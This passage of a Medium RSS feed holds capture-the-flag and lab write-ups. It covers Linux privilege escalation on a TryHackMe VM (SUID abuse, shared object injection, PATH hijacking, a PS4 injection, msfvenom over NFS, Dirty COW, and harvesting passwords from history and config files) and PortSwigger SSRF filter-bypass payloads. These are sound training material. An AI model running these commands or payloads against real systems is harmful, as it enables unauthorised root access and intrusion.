error</p><p>Note that /usr/sbin/exim-4.84–3 appears in the results. Try to find a known exploit for this version of exim. <a href="https://www.exploit-db.com/">Exploit-DB</a>, Google, and GitHub are good places to search!</p><p><a href="https://www.exploit-db.com/exploits/39535">https://www.exploit-db.com/exploits/39535</a></p><p>A local privilege escalation exploit matching this version of exim exactly should be available. A copy can be found on the Debian VM at <strong>/home/user/tools/suid/exim/cve-2016–1531.sh</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*zFipdhzE3wYnu1Fj.png" /></figure><p>Run the exploit script to gain a root shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Rwnd7pZCXe8RfwtP.png" /></figure><h3>Task 12 SUID / SGID Executables — Shared Object Injection</h3><p>The <strong>/usr/local/bin/suid-so</strong> SUID executable is vulnerable to shared object injection.</p><p>First, execute the file and note that currently, it displays a progress bar before exiting:</p><p>/usr/local/bin/suid-so</p><p>Run <strong>strace</strong> on the file and search the output for open/access calls and for “no such file” errors:</p><p>strace /usr/local/bin/suid-so 2&gt;&amp;1 | grep -iE &quot;open|access|no such file&quot;</p><p>Note that the executable tries to load the <strong>/home/user/.config/libcalc.so</strong> shared object within our home directory, but it cannot be found.</p><p>Create the <strong>.config</strong> directory for the libcalc.so file:</p><p>mkdir /home/user/.config</p><p>Example shared object code can be found at <strong>/home/user/tools/suid/libcalc.c</strong>. It simply spawns a Bash shell. Compile the code into a shared object at the location the <strong>suid-so</strong> executable was looking for it:</p><p>gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c</p><p>Execute the <strong>suid-so</strong> executable again, and note that this time, instead of a progress bar, we get a root shell.</p><p>/usr/local/bin/suid-so</p><h3>Task 13 SUID / SGID Executables — Environment Variables</h3><p>The <strong>/usr/local/bin/suid-env</strong> executable can be exploited due to it inheriting the user’s PATH environment variable and attempting to execute programs without specifying an absolute path.</p><p>First, execute the file and note that it seems to be trying to start the apache2 webserver:</p><p>/usr/local/bin/suid-env</p><p>Run strings on the file to look for strings of printable characters:</p><p>strings /usr/local/bin/suid-env</p><p>One line (“service apache2 start”) suggests that the <strong>service</strong> executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.</p><p>Compile the code located at <strong>/home/user/tools/suid/service.c</strong> into an executable called <strong>service</strong>. This code simply spawns a Bash shell:</p><p>gcc -o service /home/user/tools/suid/service.c</p><p>Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the <strong>suid-env</strong> executable to gain a root shell:</p><p>PATH=.:$PATH /usr/local/bin/suid-env</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*G7ObUStjhlWzKUFR.png" /></figure><h3>Task 14 SUID / SGID Executables — Abusing Shell Features (#1)</h3><p>The <strong>/usr/local/bin/suid-env2</strong> executable is identical to <strong>/usr/local/bin/suid-env</strong> except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.</p><p>Verify this with strings:</p><p>strings /usr/local/bin/suid-env2</p><p>In Bash versions <strong>&lt;4.2–048</strong> it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.</p><p>Verify the version of Bash installed on the Debian VM is less than 4.2–048:</p><p>/bin/bash --version</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*oFaOa4tdlxbEJzHQ.png" /></figure><p>Create a Bash function with the name “<strong>/usr/sbin/service</strong>” that executes a new Bash shell (using -p so permissions are preserved) and export the function:</p><p>function /usr/sbin/service { /bin/bash -p; }<br>export -f /usr/sbin/service</p><p>Run the <strong>suid-env2</strong> executable to gain a root shell:</p><p>/usr/local/bin/suid-env2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*QS8KfrsqDXNEO-JD.png" /></figure><h3>Task 15 SUID / SGID Executables — Abusing Shell Features (#2)</h3><p>Note: This will not work on Bash versions 4.4 and above.</p><p>When in debugging mode, Bash uses the environment variable <strong>PS4</strong> to display an extra prompt for debugging statements.</p><p>Run the <strong>/usr/local/bin/suid-env2</strong> executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:</p><p>env -i SHELLOPTS=xtrace PS4=&#39;$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)&#39; /usr/local/bin/suid-env2</p><p>Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:</p><p>/tmp/rootbash -p</p><p><strong>Remember to remove the /tmp/rootbash executable and exit out of the elevated shell before continuing as you will create this file again later in the room!</strong></p><p>rm /tmp/rootbash<br>exit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*cp0baNpusaL6w4-G.png" /></figure><h3>Task 16 Passwords &amp; Keys — History Files</h3><p>If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.</p><p>View the contents of all the hidden history files in the user’s home directory:</p><p>cat ~/.*history | less</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*f8tlynMVpcvVgy_x.png" /></figure><p>Note that the user has tried to connect to a MySQL server at some point, using the “root” username and a password submitted via the command line. Note that there is no space between the -p option and the password!</p><p>Switch to the root user, using the password:</p><p>su root</p><p><strong>Remember to exit out of the root shell before continuing!</strong></p><p>What is the full mysql command the user executed?</p><p><strong>mysql -h somehost.local -uroot -ppassword123</strong></p><h3>Task 17 Passwords &amp; Keys — Config Files</h3><p>Config files often contain passwords in plaintext or other reversible formats.</p><p>List the contents of the user’s home directory:</p><p>ls /home/user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/0*K84zA8Vf56B4O1Bo.png" /></figure><p>Note the presence of a <strong>myvpn.ovpn</strong> config file. View the contents of the file:</p><p>cat /home/user/myvpn.ovpn</p><p>The file should contain a reference to another location where the root user’s credentials can be found. Switch to the root user, using the credentials:</p><p>su root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*LqykbJ3P2gZtTF5J.png" /></figure><p><strong>Remember to exit out of the root shell before continuing!</strong></p><p>What file did you find the root user’s credentials in?</p><p>/etc/openvpn/auth.txt</p><h3>Task 18 Passwords &amp; Keys — SSH Keys</h3><p>Sometimes users make backups of important files but fail to secure them with the correct permissions.</p><p>Look for hidden files &amp; directories in the system root:</p><p>ls -la /</p><p>Note that there appears to be a hidden directory called <strong>.ssh</strong>. View the contents of the directory:</p><p>ls -l /.ssh</p><p>Note that there is a world-readable file called <strong>root_key</strong>. Further inspection of this file should indicate it is a private SSH key. The name of the file suggests it is for the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/0*4skio9Kbh0-0SDlP.png" /></figure><p>Copy the key over to your Kali box (it’s easier to just view the contents of the <strong>root_key</strong> file and copy/paste the key) and give it the correct permissions, otherwise your SSH client will refuse to use it:</p><p>chmod 600 root_key</p><p>Use scp to copy the ssh ket from the TryHackMe network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*-1_9Y3IxpPA3wAJg.png" /></figure><p>Use the key to login to the Debian VM as the root account (note that due to the age of the box, some additional settings are required when using SSH):</p><p>ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.102.200</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*pYv9Khjcj1Z9ZzTa.png" /></figure><h3>Task 19 NFS</h3><p>Files created via NFS inherit the <strong>remote</strong> user’s ID. If the user is root, and root squashing is enabled, the ID will instead be set to the “nobody” user.</p><p>Check the NFS share configuration on the Debian VM:</p><p>cat /etc/exports</p><p>Note that the <strong>/tmp</strong> share has root squashing disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Ut1YG7DJw6GEuEN8.png" /></figure><p>On your Kali box, switch to your root user if you are not already running as root:</p><p>sudo su</p><p>Using Kali’s root user, create a mount point on your Kali box and mount the <strong>/tmp</strong> share (update the IP accordingly):</p><p>mkdir /tmp/nfs<br>mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs</p><p>Still using Kali’s root user, generate a payload using <strong>msfvenom</strong> and save it to the mounted share (this payload simply calls /bin/bash):</p><p>msfvenom -p linux/x86/exec CMD=&quot;/bin/bash -p&quot; -f elf -o /tmp/nfs/shell.elf</p><p>Still using Kali’s root user, make the file executable and set the SUID permission:</p><p>chmod +xs /tmp/nfs/shell.elf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*W9vXwWfzRLUfxDDi.png" /></figure><p>Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell:</p><p>/tmp/shell.elf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/0*4-Dnv8nvd2s_Hy_p.png" /></figure><p><strong>Remember to exit out of the root shell before continuing!</strong></p><p>What is the name of the option that disables root squashing?</p><p><strong>no_root_squash</strong></p><h3>Task 20 Kernel Exploits</h3><p>Kernel exploits can leave the system in an unstable state, which is why you should only run them as a last resort.</p><p>Run the <strong>Linux Exploit Suggester 2</strong> tool to identify potential kernel exploits on the current system:</p><p>perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl</p><p>The popular Linux kernel exploit “Dirty COW” should be listed. Exploit code for Dirty COW can be found at <strong>/home/user/tools/kernel-exploits/dirtycow/c0w.c</strong>. It replaces the SUID file /usr/bin/passwd with one that spawns a shell (a backup of /usr/bin/passwd is made at /tmp/bak).</p><p>Compile the code and run it (note that it may take several minutes to complete):</p><p>gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w<br>./c0w</p><p>Once the exploit completes, run /usr/bin/passwd to gain a root shell:</p><p>/usr/bin/passwd</p><p>Remember to restore the original <strong>/usr/bin/passwd</strong> file and exit the root shell before continuing!</p><p>mv /tmp/bak /usr/bin/passwd<br>exit</p><h3>Task 21 Privilege Escalation Scripts</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/0*m4c6QzXhPq2mAhIK.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c30bb939fc08" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSRF with filter bypass via open redirection vulnerability]]></title>
            <link>https://medium.com/@cyborgtic/ssrf-with-filter-bypass-via-open-redirection-vulnerability-8cefc9399c33?source=rss-bacc4cbbfc07------2</link>
            <guid isPermaLink="false">https://medium.com/p/8cefc9399c33</guid>
            <category><![CDATA[server-side-attacks]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[Ayutsede Precious]]></dc:creator>
            <pubDate>Fri, 08 Mar 2024 23:40:04 GMT</pubDate>
            <atom:updated>2024-03-08T23:40:04.247Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kuVLf59JUQISrGpG.png" /></figure><p>SSRF Attack Lifecycle</p><h3>Lab: SSRF with filter bypass via open redirection vulnerability</h3><p>Objectives:</p><p>This lab has a stock check feature that fetches data from an internal system.</p><p>To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin and delete the user carlos.</p><p>The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*mN4l8_IiXnQud21a.png" /></figure><p>Lab: SSRF with filter bypass via open redirection vulnerability</p><h3><a href="https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection?source=post_page-----33da3cee5efd--------------------------------">Lab: SSRF with filter bypass via open redirection vulnerability | Web Security Academy</a></h3><h3><a href="https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection?source=post_page-----33da3cee5efd--------------------------------">This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check…</a></h3><p><a href="https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection?source=post_page-----33da3cee5efd--------------------------------">portswigger.net</a></p><h3>Lab walkthrough</h3><p>In this lab we can access two features -Check stock and the Next product</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kR8UrdAOVH2kdEJ5.png" /></figure><p>Vulnerable App-Check stock and Next product features</p><p>This time stockApi is making HTTP request to the path <em>/product/stock/check?productID=3&amp;storeID=1 </em>not an IP or domain/application</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*CFeMMCCN_XCNJ4Xk.png" /></figure><p>HTTP Request-stockApi</p><p>We have captured also newProduct HTTP Request and looks like there is a redirection here (HTTP 302 Found)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*lq7FqFE-4ZUCcJEW.png" /></figure><p>After following the redirection we presented with a 200 OK response</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8cefc9399c33" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSRF with whitelist-based input filter]]></title>
            <link>https://medium.com/@cyborgtic/ssrf-with-whitelist-based-input-filter-0495fa4885a8?source=rss-bacc4cbbfc07------2</link>
            <guid isPermaLink="false">https://medium.com/p/0495fa4885a8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Ayutsede Precious]]></dc:creator>
            <pubDate>Thu, 07 Mar 2024 16:40:56 GMT</pubDate>
            <atom:updated>2024-03-07T16:40:56.706Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi everyone, today we’ll learn “<strong>SSRF with whitelist-based input filter” Lab 4</strong>.<strong> </strong>I hope you will like it, don’t hesitate if you have any questions or say if I made any mistakes.</p><p>We’ve already explained how<strong> SSRF </strong>works in <strong>Lab 1</strong>. For those who haven’t done <strong>Lab 1 &amp; 2–3</strong>. I invite them to do so to better understand L<strong>ab 4</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*OGstjWJ3J4ox0LEE.png" /></figure><blockquote><strong>/The product name may not be the same!! But no problem, the logic is the same\</strong></blockquote><blockquote><strong>/I advise you to encode the url but you are not obligated. It’s a good habit\</strong></blockquote><p><strong>Lab 4 : SSRF with whitelist-based input filter (4. Expert)</strong></p><ol><li>Go to any product and intercept the “Check stock” request in <strong>Burp Suite</strong>, and <strong>send it to Burp Repeater.</strong></li><li>We’ll send <strong>“stockApi=http://127.0.0.1/”</strong>, like before, but we’ll observe that it doesn’t work.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*fFHh2MUC-XrLZuW_.jpeg" /></figure><p>3. We’ve <strong>“External stock check host must be stock.weliketoshop.net” </strong>error message. We understand that you have to look in “stock.weliketoshop.net”</p><p>4. Now, After putting <strong>stock.weliketoshop.net</strong> in stockapi. We have a different error code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*sptPas5dTUylfCsb.jpeg" /></figure><p>5. We’ll try to connect to external stock with “username”. “<strong>stockApi=http:/username@stock.weliketoshop.net”. </strong>We have the same error code with “username”. We see this server trying to connect “username”.</p><p>6. <strong>Let’s try differently, we are going to put “http://localhost/ before @stock.weliketoshop.net but to cancel “@” we’ll write #. Otherwise, localhost will be interpreted as a username.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*fzHTtDoeClIg2h5R.jpeg" /></figure><p>7. We have “<strong>400 Bad Request</strong>” and “External stock check host must be stock.weliketoshop.net”. <strong>By putting “#” this server is trying to connect before “#”</strong>, <strong>i.e. it is trying to connect to a “http://localhost”</strong>. <em>We don’t specify port 80 because it’s definitely the default.</em></p><p>8. Now, we’ll double encoding “#” as seen in lab before. <a href="http://localhost%2523@stock.weliketoshop.net./"><strong>http://localhost%2523@stock.weliketoshop.net</strong>.</a> We perform encoding by <strong>Decoder or CTRL+U (x2) </strong>for Double encoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Zwv5IvFi2qwcWH6z.jpeg" /></figure><p>9. We have access to the admin page. Delete user Carlos. <a href="http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos"><strong>http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*KfUKa4rLydJ8do5W.jpeg" /></figure><p>10. We have successfully finished this lab.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0495fa4885a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSRF with blacklist-based input filter]]></title>
            <link>https://medium.com/@cyborgtic/ssrf-with-blacklist-based-input-filter-25e85c213468?source=rss-bacc4cbbfc07------2</link>
            <guid isPermaLink="false">https://medium.com/p/25e85c213468</guid>
            <dc:creator><![CDATA[Ayutsede Precious]]></dc:creator>
            <pubDate>Thu, 07 Mar 2024 06:05:48 GMT</pubDate>
            <atom:updated>2024-03-07T06:05:48.963Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hackers :)</p><p>Just wanted to share a nice trick to bypass black-list filter , i always recommend White-List, and today we will see why , I found out this article will be usefull for you all , lets begin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*VeGnvZ0ynhen98bz.png" /></figure><p>As we can see above there is a nice web, as normal when i do web Pentest i act like a normal user, click here click there and check all the feature the web has.after i did some “clicking” on the following feature:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*t8KMCyfTlE6SEpad.png" /></figure><p>The request :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*HAiqFT5GpsxKpLAT.png" /></figure><p>We can see he wants to communicate with another lets call it “mini server” <br>and we can see his request, so we can assume there is a trust relationship between server(After we all know with ssrf we can scan the internal network from external).lets try to modify the content , before we do that we need to send the request to repeter(the area where we can change the content).</p><p>The repeter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*A-vZ-7JHIuNnC-LO.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kliR6F4lDmRteaG-.png" /></figure><p>Finally we arrived to the good part,<br>Step 1 :<br> Lets decode the content(You also you can see the “http” request which is very important)<br>After Decode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*EHZvE2XD4_uNKMhk.png" /></figure><p>Step 2 : <br>Lets try to see if any application is avalible on localhost</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*MGTzso4QZBexQ350.png" /></figure><p>Lets try to bypass it… how ? good question<br>There is 2 ways:</p><p>1 : <a href="https://www.ipaddressguide.com/ip">https://www.ipaddressguide.com/ip</a><br>This website convert IPv4 to decimal , alot of people dont know this <strong>but <br></strong>this is very usefull website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*GggcnUbVzfE6doQS.png" /></figure><p>lets take the converted ip and put it instead of the regular IP.</p><p>2. This one is simple way -<br>to bypass blacklist all we need is to write : 127.1<br>Lets see how it goes -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*0PjtAmWKzswqTM2v.png" /></figure><p>So we got “200” that means we in the correct way ,lets now see “href” for easier life:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*T6ml_uDN9zycrOZj.png" /></figure><p>Thank god , so we can see admin lets try it out:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Vo7_nnw_sHV9PziX.png" /></figure><p>we blocked again , lets try to encode the word ”a” :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*CDtuD3X5ZX1Uk7Uh.png" /></figure><p>Sending the request :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/0*MeQmcSEkJaG--Jes.png" /></figure><p>And ::::</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*d1kHFoUGCn-RRQn3.png" /></figure><p>Lets try to encode what we alredy encoded:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*3W7imKxAkeVg_ZVA.png" /></figure><p>like this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/0*qlUcdW4TFv8YgFpW.png" /></figure><p>The output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*F__65_XdltTkNb-h.png" /></figure><p>And the output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*WhR0oQKgzfTeIyWH.png" /></figure><p>Dont forget to delete carlos user :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*gHu3e1GpuA7CLTyF.png" /></figure><p>Note : Importand to keep the “admin” encoded when doing the full command .</p><p>So as we can see , it blocked us one time after encoded but not the second time , just for you to notice i saw it couple of times in real scenarios, thats why i always recommend whitelist and not a black list.<br>It only encoded for once but didnt encoded for the second time , and thats where we bypassed it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25e85c213468" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server-Side Request Forgery (SSRF)- PortSwigger Labs]]></title>
            <link>https://medium.com/@cyborgtic/server-side-request-forgery-ssrf-portswigger-labs-72819e162d39?source=rss-bacc4cbbfc07------2</link>
            <guid isPermaLink="false">https://medium.com/p/72819e162d39</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ssrf-walkthrough]]></category>
            <dc:creator><![CDATA[Ayutsede Precious]]></dc:creator>
            <pubDate>Tue, 05 Mar 2024 16:08:45 GMT</pubDate>
            <atom:updated>2024-03-05T16:08:45.649Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab: Basic SSRF against another back-end system</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*mbmrR2yYwT97L7xY.png" /></figure><p>SSRF Attack Lifecycle</p><h3>Lab: Basic SSRF against another back-end system</h3><p>Objectives:</p><p>This lab has a stock check feature that fetches data from an internal system.</p><p>To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*z8R-6i8amKOSnKx4.png" /></figure><p>Lab: Basic SSRF against another back-end system</p><h3><a href="https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system?source=post_page-----98469a41b720--------------------------------">Lab: Basic SSRF against another back-end system | Web Security Academy</a></h3><h3><a href="https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system?source=post_page-----98469a41b720--------------------------------">This lab has a stock check feature which fetches data from an internal system. To solve the lab, use the stock check…</a></h3><p><a href="https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system?source=post_page-----98469a41b720--------------------------------">portswigger.net</a></p><h3>Lab walkthrough</h3><p>Lets check the application</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*R_ekJZ_GChvZI22Y.png" /></figure><p>Vulnerable App</p><p>Looks like stockAPI is making HTTP request to this IP address(localhost) 192.168.0.1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*UgnI5Jla_3Xnnc3S.png" /></figure><p>Decoded URL</p><p>Ok so lets check what kind of information we can find out and what else is running on the localhost</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*lajcT0ym3hMNLD8P.png" /></figure><p>HTTP Request to 192.168.0.1:8080 and 400 Bad Request Response</p><p>Lets check another IP address 192.168.0.3:8080</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*N3q42NM4FESUScFd.png" /></figure><p>HTTP 500 Internal Server Error Response</p><p>Ok lets capture the request and send it to the Intruder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*XbHgSkSGJP45aE3o.png" /></figure><p>After running a bruteforce attack we got a 200 response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zoUFLnchcbJkLXRWlBO-cQ.png" /></figure><p>send this to repeater and render the response</p><p>the task is to delete carlos account. In the repeater we add /delete?username=carlos to delete the account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rPvtjt_FCcRHinU8Kqja1A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H8ZfBXogVrN8B2pUIiMi4w.png" /></figure><p>As seen carlos account is no longer there and the task has been solved</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72819e162d39" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Business Logic Vulnerabilities excessive trust in client-side controls]]></title>
            <link>https://medium.com/@cyborgtic/business-logic-vulnerabilities-excessive-trust-in-client-side-controls-19965d29c3f2?source=rss-bacc4cbbfc07------2</link>
            <guid isPermaLink="false">https://medium.com/p/19965d29c3f2</guid>
            <category><![CDATA[business-logic]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <dc:creator><![CDATA[Ayutsede Precious]]></dc:creator>
            <pubDate>Mon, 04 Mar 2024 01:30:09 GMT</pubDate>
            <atom:updated>2024-03-04T01:30:09.059Z</atom:updated>
            <content:encoded><![CDATA[<p>Think of a scenario where you login to an eCommerce website to buy something. Below are the steps you will follow.</p><p>1. Login to the website.</p><p>2. Add the item to your cart.</p><p>3. Add the quantity of the product.</p><p>4. Select the payment method and pay.</p><p>Now consider the website offers you to add money into its wallet and allow you to buy the item from your wallet.</p><p>Here are some problems that could occur.</p><p>1. Developer assumes that the customer only uses a browser to make the purchases.</p><p>2. Developers work in silos and does not consider how the other components of the application works.</p><p>If the application does not handle all the input from the user properly, this could lead to attacker manipulating the POST/GET request using a proxy to increase the quantity of product or modify the price.</p><p>This will happen because the developer assumes that the application will be used only in the browser.</p><p>Below are the steps. Select a product and add into cart.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*M0fzhwbjjbbFa1O8.png" /></figure><p>Product to be added</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*WCTqVd59bPeI4oAw.png" /></figure><p>Add the product to cart</p><p>While adding a product into cart an attacker can intercept the request in Burpsuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*g2yIuECXJo-YjpX9.png" /></figure><p>Post request intercepted by burpsuite</p><p>Now if the input is not sanitized by the server. An attacker can change the quantity of the product or change the price.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*moMLLE_GcdsYNDP0.png" /></figure><p>Manipulate the price</p><p>Now when we refresh the browser and check the cart, we are able to see the price changed for the product. Since we are paying through wallet. The order goes through.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/0*vQVXQzY5EYblN0ka.png" /></figure><p>Check the cart</p><p>How to prevent</p><p>1. A developer should never assume that the request will come only from the browser.</p><p>2. Developer should understand the overall business logic. Typically, several developers work on a single product. So, every developer should understand various other components and how they function in a business.</p><p>3. Maintain logic, business and data flows in the application.</p><p>4. Maintain best coding practices with comments and explanation of code. When a new developer gets into shoes of a developed code, it will be very daunting to understand the code without proper comments.</p><p>This is a rather simplistic example. Usually applications become very complex as the project grows over time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19965d29c3f2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box Starting Point (CROCODILE)]]></title>
            <link>https://medium.com/@cyborgtic/hack-the-box-starting-point-crocodile-f5fe42d946c1?source=rss-bacc4cbbfc07------2</link>
            <guid isPermaLink="false">https://medium.com/p/f5fe42d946c1</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Ayutsede Precious]]></dc:creator>
            <pubDate>Tue, 27 Feb 2024 07:28:44 GMT</pubDate>
            <atom:updated>2024-02-27T07:28:44.183Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*TRfNf7Dz64cOItSW.png" /></figure><p>This box is tagged “Linux”, “PHP” and “FTP”. We can download files containing username and password from the FTP server, and then log in to the website after we found the correct path.</p><p><strong>Scanning using Nmap</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ri2iMiJa7miMVvxC.png" /></figure><p><strong>What Nmap scanning switch employs the use of default scripts during a scan?</strong></p><p>=&gt; -sC</p><p><strong>What service version is found to be running on port 21?</strong></p><p>=&gt; vsftpd 3.0.3</p><p><strong>What FTP code is returned to us for the “Anonymous FTP login allowed” message?</strong></p><p>=&gt; 230</p><p><strong>After connecting to the FTP server using the ftp client, what username do we provide when prompted to log in anonymously?</strong></p><p>=&gt; anonymous</p><p><strong>After connecting to the FTP server anonymously, what command can we use to download the files we find on the FTP server?</strong></p><p>=&gt; get</p><p><strong>What is one of the higher-privilege sounding usernames in ‘allowed.userlist’ that we download from the FTP server?</strong></p><p>=&gt; admin</p><p><strong>What version of Apache HTTP Server is running on the target host?</strong></p><p>=&gt; apache httpd 2.4.41</p><p><strong>What switch can we use with Gobuster to specify we are looking for specific filetypes?</strong></p><p>=&gt; -x</p><p><strong>Which PHP file can we identify with directory brute force that will provide the opportunity to authenticate to the web service?</strong></p><p>=&gt; login.php</p><p><strong>Submit root flag</strong></p><p>we can try to connect to Ftp using ftp &lt;ip target&gt; command, we can login using username:anonymous</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*-i8rtNo9m9xEbF_f.png" 